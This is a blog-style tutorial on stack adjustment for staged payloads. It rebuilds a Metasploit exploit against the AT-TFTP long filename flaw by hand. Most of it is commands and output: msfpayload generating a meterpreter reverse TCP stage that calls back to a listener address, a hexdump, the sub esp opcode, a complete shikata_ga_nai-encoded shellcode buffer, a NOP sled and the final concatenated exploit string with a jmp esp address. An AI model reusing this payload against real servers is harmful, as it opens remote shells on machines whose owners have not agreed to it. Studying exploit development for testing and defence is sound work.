When you are developing an exploit and you have very limited space for your payload you might need to adjust the stack to be able to use staged exploits. The problem, in case of a multi-stage payload, is that when the first stage that you send in your exploit payload starts to download the second stage, the stack pointer (ESP) might point to a place which is not far enough from the first stage in the memory; hence, the second stage might corrupt the code that you are executing. Stack adjustment is a technique that tries to solve this problem by setting the ESP to create more space for the second stage.
There is an easy solution for that which is really straight forward in metasploit. In your exploit you can set the ‘StackAdjustment’ attribute of the payload. Our simple example will be the ‘attftp_long_filename’ exploit with with the ‘windows/meterpreter/reverse_nonx_tcp’ payload. As you can see in the [MSF]/msf3/modules/exploits/windows/tftp/attftp_long_filename.rb it is set to -3500. That will subtract 3500 from the ESP just before executing the payload to make enough space for the second stage. In my case the question was, how to do the same without metasploit.
It is actually not that difficult but I wanted to write about it just for the record. As a PoC I implemented the same exploit in python using the same payload, but I will focus here on creating the payload. Our goal will be to create a payload with the following structure:
NOPsled + StackAdjustment + shellcode
Lets start from behind.
I used the ‘msfpayload’ to generate the first stage of the payload and save it in a file in raw format. I intentionally didn’t encode it at the beginning because I wanted to encode it together with the StackAdjustment, otherwise it wouldn’t fit in the available space. So first let’s generate the payload:
root@bt:/tmp# msfpayload windows/meterpreter/reverse_nonx_tcp LHOST=192.168.56.102 LPORT=7777 R > payload root@bt:/tmp# hexdump payload 0000000 6afc 47eb f9e8 ffff 60ff db31 7d8b 8b3c 0000010 3d7c 0178 8bef 2057 ea01 348b 019a 31ee 0000020 99c0 c1ac 0dca c201 c084 f675 6643 ca39 0000030 e375 8b4b 244f e901 8b66 591c 4f8b 011c 0000040 03e9 992c 6c89 1c24 ff61 31e0 64db 438b 0000050 8b30 0c40 708b ad1c 688b 5e08 5366 6866 0000060 3233 7768 3273 545f b966 6072 d6ff 5395 0000070 5353 4353 4353 8953 66e7 ef81 0208 5357 0000080 b966 dfe7 d6ff b966 6fa8 d6ff 6897 a8c0 0000090 6638 6866 611e 5366 e389 106a 5753 b966 00000a0 0557 d6ff b450 500c 5753 6653 c0b9 ff38 00000b0 00e6 00000b1
Then let’s see how to do the StackAdjustment. We will subtract 3500 from the ESP, that will make enough space for the second stage payload. To do that the ‘sub esp, 0xDAC’ command has to be executed on the target. We can find out the opcode with the nasm_shell.rb tool of metasploit;
root@bt:/opt/metasploit/msf3# ./tools/nasm_shell.rb nasm > sub esp, 0xDAC 00000000 81ECAC0D0000 sub esp,0xdac
The happy marriage with encoding
We need to put this opcode before the msf payload and of course it has to be encoded because there are too many 0x00 characters. To do this I just catted together the opcode and the payload and piped it into the msfencode:
root@bt:/tmp# cat stack_adj payload | msfencode -b '\x00\xff' -t ruby [*] x86/shikata_ga_nai succeeded with size 210 (iteration=1) buf = "\xbe\x15\x4a\xd1\x8c\xda\xde\xd9\x74\x24\xf4\x5f\x31\xc9" + "\xb1\x2e\x83\xc7\x04\x31\x77\x11\x03\x77\x11\xe2\xe0\xcb" + "\x3d\x20\x07\xcc\xbd\xc5\x7d\x27\xfa\xdd\x78\x48\xfa\xe1" + "\x1a\x86\xde\x95\xa7\xd4\x6b\xd5\x6a\x5d\x6d\xc9\x1f\xca" + "\x4d\x14\xf5\x7e\xb9\x8c\x08\x6f\xf3\x70\x93\xc3\x35\xba" + "\xae\x1a\x74\xbf\x70\x69\x8e\x83\x16\xab\xa4\x71\x35\x80" + "\xb3\x35\x9d\x16\x2d\xaf\x56\x04\xf4\xbb\x27\x29\x07\x55" + "\xb4\x7d\x9e\x2c\xd6\x59\xbc\x4f\xd9\x42\x8d\x54\x41\x08" + "\xad\x5a\x02\x4e\x3e\x10\x64\x53\x93\xad\xec\x63\xb5\xd7" + "\xbf\x15\x21\x2b\x0d\xb2\xc6\x38\x43\x1d\x7d\xd9\x1a\xd3" + "\x1d\xda\x8a\x81\x8d\x77\x61\xf9\x72\x2b\xc6\xae\xfd\x2c" + "\xae\xd1\x11\xba\x2c\x85\xbe\xdd\x89\xce\x9e\xdd\x3f\x76" + "\x98\x8a\xd0\x88\x0c\x5d\x46\xb7\x19\x5a\xf0\x51\x32\x85" + "\x9d\xfb\x91\x30\xbe\x6e\x06\x10\x17\x09\x9f\xc1\x92\x2a" + "\x09\xbd\x28\xd8\xe6\x6d\x07\xb2\x60\x2b\x67\x0c\x92\xad"
It was important to encode them together otherwise it would not fit in the 223 byte space available in the exploit.
The NOPsled can be easily created with metasploit, since the encoded shellcode is 210 bytes and we need to fill 223 bytes, we need to generate a 13 bytes long NOPsled:
msf > use nop/x86/opty2 msf nop(opty2) > generate -h Usage: generate [options] length Generates a NOP sled of a given length. OPTIONS: -b <opt> The list of characters to avoid: '\x00\xff' -h Help banner. -s <opt> The comma separated list of registers to save. -t <opt> The output type: ruby, perl, c, or raw. msf nop(opty2) > generate -b '\x00\xff' 13 buf = "\x48\x4f\x2d\x25\xbb\x66\xba\x3d\x47\x41\x2f\xd6\xfd"
Putting everything together
In my exploit, I simply concatenated everything together:
nopsled = "\x48\x4f\x2d\x25\xbb\x66\xba\x3d\x47\x41\x2f\xd6\xfd" shellcode = nopsled shellcode = shellcode + buf shellcode = shellcode + "\x53\x93\x42\x7e" #jmp esp address shellcode = shellcode + "\x83\xc4\x28\xc3" # add esp \x28; retn
The important takeaway here is how to adjust your stack manually if for some reason you can’t use metasploit. It is not difficult you just need to get your hands a bit dirty with bytes and hex.